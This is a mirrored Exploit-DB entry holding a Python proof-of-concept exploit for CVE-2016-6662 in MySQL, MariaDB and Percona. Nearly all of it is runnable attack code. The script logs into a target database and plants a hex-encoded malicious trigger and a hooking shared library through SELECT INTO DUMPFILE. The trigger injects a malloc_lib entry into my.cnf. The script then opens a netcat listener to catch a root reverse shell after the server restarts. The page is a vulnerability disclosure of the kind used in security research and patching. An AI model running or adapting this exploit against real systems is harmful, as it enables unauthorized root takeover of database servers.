MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 – Code Execution / Privilege Escalation

  • 作者: Dawid Golunski
    日期: 2016-09-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40360/
  • #!/usr/bin/python
    
    #
    # MySQL / MariaDB / Percona -Remote Root Code Execution / PrivEsc PoC Exploit
    # (CVE-2016-6662) 
    # 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
    #
    # For testing purposes only. Do no harm.
    #
    # Discovered/Coded by:
    #
    # Dawid Golunski
    # http://legalhackers.com
    #
    #
    # This is a limited version of the PoC exploit. It only allows appending to
    # existing mysql config files with weak permissions. See V) 1) section of 
    # the advisory for details on this vector. 
    #
    # Full PoC will be released at a later date, and will show how attackers could
    # exploit the vulnerability on default installations of MySQL on systems with no
    # writable my.cnf config files available.
    #
    # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
    # for certain low-privileged attackers that do not have FILE privilege.
    # 
    # See full advisory for details:
    # https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
    #
    # Video PoC:
    # https://legalhackers.com/videos/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
    #
    #
    # Follow: https://twitter.com/dawid_golunski
    # &
    # Stay tuned ;)
    #
    
    intro = """
    0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
    (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
    
    For testing purposes only. Do no harm.
    
    Discovered/Coded by:
    
    Dawid Golunski
    http://legalhackers.com
    
    """
    
    import argparse
    import mysql.connector
    import binascii
    import subprocess
    
    
    def info(str):
    print "[+] " + str + "\n"
    
    def errmsg(str):
    print "[!] " + str + "\n"
    
    def shutdown(code):
    if (code==0):
    info("Exiting (code: %d)\n" % code)
    else:
    errmsg("Exiting (code: %d)\n" % code)
    exit(code)
    
    
    cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
    process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    (result, error) = process.communicate()
    rc = process.wait() 
    
    
    # where will the library to be preloaded reside? /tmp might get emptied on reboot
    # /var/lib/mysql is safer option (and mysql can definitely write in there ;)
    malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
    
    
    # Main Meat
    
    print intro
    
    # Parse input args
    parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
    parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
    parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
    parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
    parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
    parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
    
    args = parser.parse_args()
    
    
    # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
    # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
    info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
    try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
    except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)
    
    try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
    except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
    
    privs = cursor.fetchall()
    info("The account in use has the following grants/perms: " )
    for priv in privs:
    print priv[0]
    print ""
    
    
    # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
    # process execution and run our code (Remote Root Shell)
    # Remember to match the architecture of the target (not your machine!) otherwise the library
    # will not load properly on the target.
    info("Compiling mysql_hookandroot_lib.so")
    cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
    process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    (result, error) = process.communicate()
    rc = process.wait() 
    if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)
    
    # Load mysql_hookandroot_lib.so library and encode it into HEX
    info("Converting mysql_hookandroot_lib.so into HEX")
    hookandrootlib_path = './mysql_hookandroot_lib.so'
    with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)
    
    # Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
    # in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges).
    # Decoded payload (paths may differ) will look similar to:
    """
    DELIMITER //
    CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
    AFTER INSERT
     ON `poctable` FOR EACH ROW
    BEGIN
    
     DECLARE void varchar(550);
     set global general_log_file='/var/lib/mysql/my.cnf';
     set global general_log = on;
     select "
    
    # 0ldSQL_MySQL_RCE_exploit got here :)
    
    [mysqld]
    malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
    
    [abyss]
    " INTO void; 
     set global general_log = off;
    
    END; //
    DELIMITER ;
    """
    trigger_payload="""TYPE=TRIGGERS
    triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'
    sql_modes=0
    definers='root@localhost'
    client_cs_names='utf8'
    connection_cl_names='utf8_general_ci'
    db_cl_names='latin1_swedish_ci'
    """ % (args.TARGET_MYCNF, malloc_lib_path)
    
    # Convert trigger into HEX to pass it to unhex() SQL function
    trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
    
    # Save trigger into a trigger file
    TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
    info("Saving trigger payload into %s" % (TRG_path))
    try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
    except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)
    
    # Save library into a trigger file
    info("Dumping shared library into %s file on the target" % malloc_lib_path)
    try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
    except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)
    
    # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
    info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
    try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'")
    except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)
    
    # Finally, execute the trigger's payload by inserting anything into `poctable`. 
    # The payload will write to the mysql config file at this point.
    info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
    try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
    except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)
    
    # Check on the config that was just created
    info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
    try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
    except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
    finally:
    dbconn.close()# Close DB connection
    print ""
    myconfig = cursor.fetchall()
    print myconfig[0][0]
    info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
    
    # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
    info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
    listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
    listener.communicate()
    print ""
    
    # Show config again after all the action is done
    info("Shell closed. Hope you had fun. ")
    
    # Mission complete, but just for now... Stay tuned :)
    info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
    
    
    # Shutdown
    shutdown(0)